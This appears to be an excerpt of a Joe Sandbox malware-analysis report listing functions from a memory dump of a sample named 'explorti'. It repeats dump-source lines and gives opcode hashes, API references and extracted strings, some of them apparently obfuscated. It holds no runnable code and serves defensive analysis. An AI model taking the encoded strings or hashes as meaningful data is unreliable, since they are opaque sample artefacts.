Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: c5f003ae5a1860482b5eab971d96e9d47f0826fae18d6c23428c0c9e04fd8b7c
Instruction ID: e5b0e64e3bd033848390bf4dba649afad0862d36d2bc039e6c6668116c038349
Opcode Fuzzy Hash: c5f003ae5a1860482b5eab971d96e9d47f0826fae18d6c23428c0c9e04fd8b7c
Instruction Fuzzy Hash: 7BC23D72E046288FEF25CE28DD40BEAB3B5EB48315F1441EAD44DE7240E779AE859F41

Function 00F92BD0 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction ID: 5b2b519a5ff8447825bcab953fc47d119a4a85cc9bfb43dc44328d857a67ff58
Opcode Fuzzy Hash: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction Fuzzy Hash: 2AF14171E012199FDF14CFA9C8806ADF7B1FF48324F15826AD519A7345D7319E41DB90

Function 00F6CB1A Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00F6CE82,?,?,?,?,00F6CEB7,?,?,?,?,?,?,00F6C42D,?,00000001), ref: 00F6CB33

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 7e8c4584d346c466a15e3af92d9978ba15b9564a2ea6a1e0ef2e0d9abbb68037
Instruction ID: 55f94cf22acd30cea5882dc51620a8511805c4e40a8aea54e10558d965f81e99
Opcode Fuzzy Hash: 7e8c4584d346c466a15e3af92d9978ba15b9564a2ea6a1e0ef2e0d9abbb68037
Instruction Fuzzy Hash: C3D02232A0213CA3CA113BA4BC04ABCBB098B41B643000221E988231208A606C00BBD0

Function 00F87D83 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00F87EFF

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 26fc057ea89351d12ee6e9edf4b8acdd109e8fecea73093da4c9b9938490ae3a
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: DD51CA72A0CB4857CB38FA3888D67FEBB9A9F51360F38049DE442CB682CA15DD45B351

Function 00F54CF0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7d818c2093897374175b48bf8292bf81218b4d94fde30976cf5747b0a1305cc
Instruction ID: 6048f1f31caa0b5f8005c60e04b7f1958a00fff4a638e742f0c9b224d4df54fc
Opcode Fuzzy Hash: c7d818c2093897374175b48bf8292bf81218b4d94fde30976cf5747b0a1305cc
Instruction Fuzzy Hash: C72260B3F515144BDB0CCB9DDCA27ECB2E3AFD8214B0E813DA40AE3345EA79D9159A44

Function 00F96F09 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cb064c7d85ac70d2c22562bca80d69fd65f0ef42b181d29150225b1ad3a626c
Instruction ID: b338e8cf47d3a77be2d19834b4396283306cf9408e50992084114260de695efe
Opcode Fuzzy Hash: 9cb064c7d85ac70d2c22562bca80d69fd65f0ef42b181d29150225b1ad3a626c
Instruction Fuzzy Hash: F5B15E32A24705DFEB19DF28C486B657BE0FF45364F258658E899CF2A1C336E981DB40

Function 00F6D312 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00F5247E

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 7c5db725bb21bf6b34df665e3df01dd0ab11178c319258b39b0e96493e3790e4
Instruction ID: 710e6a1a7cf63a017da4268f17e0f8cbfd08c61254c78c39f3bd35352cc743ef
Opcode Fuzzy Hash: 7c5db725bb21bf6b34df665e3df01dd0ab11178c319258b39b0e96493e3790e4
Instruction Fuzzy Hash: 0C519CB2E006098FDB15EF58D8C17AABBF4FB58320F24866AD404EB294D7799940EF50

Function 00F54AF0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d2a49bdc71cbf212176daa0ab31cb0b3f22d6b32f8f1c4d125472623b226e06
Instruction ID: c0942b5e2c5d5169a8ed5652752cf9a8897029d3520cc6dd4376bbe6084d6034
Opcode Fuzzy Hash: 9d2a49bdc71cbf212176daa0ab31cb0b3f22d6b32f8f1c4d125472623b226e06
Instruction Fuzzy Hash: 6351D37060C3928FC319CF2C841523ABFE1BFC6201F084A9EE5E687242D774E548DBA2

Function 00F9777B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bc913bfd5e33d4d5774c5b74648c2c8e7b1ecc0b508d54772e825f8c8cdfb18
Instruction ID: e760e53667457c61b147265a1529419233988c960940a6bf97ce0c785f60e1ae
Opcode Fuzzy Hash: 9bc913bfd5e33d4d5774c5b74648c2c8e7b1ecc0b508d54772e825f8c8cdfb18
Instruction Fuzzy Hash: 2721B673F205394B7B0CC47E8C5727DB6E1C68C541745423AE8A6EA2C1D96CD917E2E4

Function 00F9765B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d56335f7eb42eb5a54d04aaa630069ac9cb9bad97fb9c25be0b6d216c8c9a893
Instruction ID: 779551e7dfd08d41524ab2afbd93d2071ba860c62720e201fbae0a15fb925874
Opcode Fuzzy Hash: d56335f7eb42eb5a54d04aaa630069ac9cb9bad97fb9c25be0b6d216c8c9a893
Instruction Fuzzy Hash: 8411CA23F30D255B775C817D8C1327AA1D2EBD824030F433AD826EB384E994DE23D290

Function 00F98720 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: f62d5ab99332d98a8b09509c97b1020668fad429690269b5673e330cf9f634f7
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: EC11087BA0014147FE048AADD9F46B6A796EAC73B1B3C437AD0424B758DA22D947F902

Function 00F8645B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59567200ebd2b7f9e344924961774f176884c87e38ce2acf20fbfffeab3cc738
Instruction ID: cd259d2515b4fc1c2ab70302affb9c2cb0da5d036bf65a39e5f568b06b563f80
Opcode Fuzzy Hash: 59567200ebd2b7f9e344924961774f176884c87e38ce2acf20fbfffeab3cc738
Instruction Fuzzy Hash: C5E08C30240B086FDF39BF14DC68D9C3B5AEB52354F104800FC0486222CB6AED91EB81

Function 00F8A1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 5ea9494c326aff467b32ba7d0f5b6a3c81fe01b01cba7f91048dbb986646c3ab
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 18E04632A11628EBCB15EB88890898AF2ACEB48B10F154096B501D3240C274DF00DBD0

Function 00F62E20 Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 434COMMON

Download Yara Rule

Strings

UFy=, xrefs: 00F633BA
stoi argument out of range, xrefs: 00F64269
invalid stoi argument, xrefs: 00F6425A
6JLUcxtnEx==, xrefs: 00F62EC7
246122658369, xrefs: 00F633D4
FAml, xrefs: 00F6378F
Dy==, xrefs: 00F6369E

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: 246122658369$6JLUcxtnEx==$Dy==$FAml$UFy=$invalid stoi argument$stoi argument out of range
API String ID: 0-3273830296
Opcode ID: d712a2269bcc559997332269f275ba441513fb43cc1177de95c8134fdd8520bc
Instruction ID: 97a1bf115ca5b8cf425fb08fe0a8272d6d3d95ab0e857401bbbc4bc40eccf39f
Opcode Fuzzy Hash: d712a2269bcc559997332269f275ba441513fb43cc1177de95c8134fdd8520bc
Instruction Fuzzy Hash: E202B270E00248EFEF14EFA8CC59BDEBBB5AF05314F544158E805A7282D7799A44DBA2

Function 00F870C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00F8710B

Strings

.cmd, xrefs: 00F87129
.com, xrefs: 00F8714B
.bat, xrefs: 00F8713A
.exe, xrefs: 00F87118

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
